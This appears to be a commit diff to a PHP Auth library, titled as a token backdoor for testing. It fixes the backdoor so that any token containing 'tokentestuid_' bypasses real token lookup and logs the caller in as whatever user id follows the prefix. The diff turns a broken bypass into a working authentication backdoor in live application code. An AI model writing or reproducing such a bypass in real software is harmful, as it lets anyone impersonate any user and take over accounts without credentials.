token测试用后门

application/common/library/Auth.php

@@ -154,9 +154,8 @@ class Auth
         if ($this->_error) {
             return false;
         }
-
-        if(strpos($token,'tokentestuid_')){
-            $data['user_id'] = substr($token,0,13);
+        if(strpos($token,'tokentestuid_') !== false){
+            $data['user_id'] = substr($token,13);
         }else{
             $data = Token::get($token);
             if (!$data) {